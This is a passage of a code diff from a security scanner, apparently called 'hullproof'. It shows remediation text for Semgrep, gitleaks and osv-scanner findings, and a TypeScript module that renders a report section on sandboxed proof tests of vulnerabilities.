+    return { title: `Semgrep rule ${ruleId} matched`, root: `rule ${ruleId}`, impact: 'A code pattern linked to the requirement was found.', fix: 'Read the rule and change the code it points at.', confirm: 'Rerun hullproof scan; the rule no longer matches.' };
+  }
+  if (tool === 'gitleaks') return {
+    title: 'A secret shaped value is committed', root: `secret ${ruleId}`,
+    impact: 'Anyone who can read the code or its history can use the value if it is live.',
+    fix: 'Rotate the value in the provider dashboard first, then move it to environment configuration and remove it from the code. Removing it from history does not make it safe again.',
+    confirm: 'The provider shows the old value revoked, then rerun hullproof scan.',
+  };
+  if (tool === 'osv-scanner') return {
+    title: `Dependency has a known vulnerability (${ruleId})`, root: `advisory ${ruleId}`,
+    impact: 'Code with a published vulnerability is part of the app.',
+    fix: 'Upgrade the package to a fixed version, or record why the vulnerable code is not reachable.',
+    confirm: 'Rerun hullproof scan with --allow-network; the advisory no longer appears.',
+  };
+  return {
+    title: `${tool} check ${ruleId} matched`, root: `${tool} ${ruleId}`,
+    impact: 'A configuration pattern linked to the requirement was found.',
+    fix: `Read ${tool} check ${ruleId} and change the configuration it points at.`,
+    confirm: 'Rerun hullproof scan; the check no longer matches.',
+  };
+}

package/src/report/prove-section.ts

@@ -0,0 +1,61 @@
+// The proof sandbox part of report.md: what was proven by a test (with the redacted request and response of the attack and the hashes
+// of the three transcripts), what was not proven and why, and what is not provable here. Built from the prove files only. Same files,
+// same bytes. A scan folder with no prove folder gets no section, so earlier reports keep their bytes.
+import { existsSync } from 'node:fs';
+import type { Merged } from '../confirm/merge.ts';
+import type { ProveResult, RunRecord, StepRecord } from '../types/index.ts';
+import { proveDir, readProveResult, readRuns } from '../prove/store.ts';
+
+export interface ProveFiles { result: ProveResult | null; first: Record<string, RunRecord> }
+
+export function loadProveFiles(scanDir: string): ProveFiles {
+  const dir = proveDir(scanDir);
+  if (!existsSync(dir)) return { result: null, first: {} };
+  const result = readProveResult(dir);
+  const first: Record<string, RunRecord> = {};
+  for (const s of result?.specs ?? []) if (s.outcome === 'proven') { const r = readRuns(dir, s.spec_id)[0]; if (r) first[s.spec_id] = r; }
+  return { result, first };
+}
+
+const cell = (s: string): string => s.replace(/\|/g, '\\|').replace(/\s+/g, ' ');
+const loc = (e: { file: string; line: number }): string => `\`${e.file}:${e.line}\``;
+const clip = (s: string, n: number): string => (s.length <= n ? s : s.slice(0, n - 1) + '…');
+const body = (r: NonNullable<StepRecord['response']>): string => clip(r.json !== undefined ? JSON.stringify(r.json) : (r.text ?? ''), 240);
+
+export function renderProve(f: ProveFiles | undefined, merged: Merged | null): string[] {
+  const r = f?.result;
+  if (!f || !r) return [];
+  const out: string[] = [];
+  const p = (...l: string[]): void => { out.push(...l); };
+  const c = r.counts;
+  p('## Proof sandbox: findings proven by a test', '');
+  p('A test written as data ran against a copy of the app inside a sandbox with no network, no secrets and no access to your files. A flaw counts as proven only when the positive control passed and the attack got through in 3 of 3 runs. Anything less stays a lead with its reason, and a lead never holds or releases the gate.', '');
+  p(`1. Runner: ${r.runner}${r.runner === 'container' ? '' : ' (no isolation, for the engine\'s own fixtures only)'}. Specs: ${c.specs}. Proven: ${c.proven}. Not proven: ${c.not_proven}. Invalid: ${c.invalid}. Unstable: ${c.unstable}. Error: ${c.error}. Not provable here: ${c.not_provable}. Spec files dropped: ${c.dropped}.`);
+  p(`2. Left behind after teardown: ${r.left_behind}. Left out of the copy that went into the sandbox: ${r.copy_excluded.length} item(s) such as environment files and keys.`, '');
+  if (r.not_provable) p(`Not provable here (${r.not_provable.code}): ${r.not_provable.reason}`, '');
+  const gate = new Set((merged?.inGate ?? []).map((l) => l.key));
+  const provenSpecs = r.specs.filter((s) => s.outcome === 'proven');
+  if (provenSpecs.length) {
+    p('### Proven findings', '');
+    provenSpecs.forEach((s, i) => {
+      const key = s.lead_key ?? `spec:${s.spec_id}`;
+      p(`#### P-${i + 1} ${s.claim}`, '');
+      p(`Where: ${loc(s.sink)}. Requirements: ${s.requirement_ids.join(', ') || 'none named'}. Test: ${s.title} (${s.spec_id}).`);
+      p(`Evidence: ${s.runs.length} of ${r.runs_required} runs proven. Transcript hashes: ${s.runs.map((x) => `run ${x.run} ${x.transcript_sha256.slice(0, 16)}`).join(', ')}. Files: \`prove/runs/${s.spec_id}/run-1.json\` to \`run-${r.runs_required}.json\`.`);
+      const rec = f.first[s.spec_id];
+      const attack = rec?.steps.filter((x) => x.phase === 'attack') ?? [];
+      for (const st of attack) if (st.response) p(`Attack step ${st.id}: ${st.actor} sent ${st.request.method} ${st.request.path} and got ${st.response.status} ${body(st.response)}`);
+      p(gate.has(key) ? 'Counts in the gate: yes, as a fail record with machine evidence (kind test).' : 'Counts in the gate: no, none of its requirements is in this run\'s scope (or it names none).', '');
+    });
+  }
+  const rest = r.specs.filter((s) => s.outcome !== 'proven');
+  if (rest.length) {
+    p('### Not proven', '', 'These stay leads. None of them can hold or release the gate.', '', '| Spec | Where | Result | Why |', '|---|---|---|---|');
+    for (const s of rest) p(`| ${cell(s.spec_id)} | ${loc(s.sink)} | ${s.outcome.replace('_', ' ')} | ${cell(s.reason)} |`);
+    p('');
+  }
+  if (r.dropped.length) {
+    p('### Spec files dropped', '', ...r.dropped.map((d) => `- ${d.file}: ${d.reason}`), '');
+  }
+  return out;
+}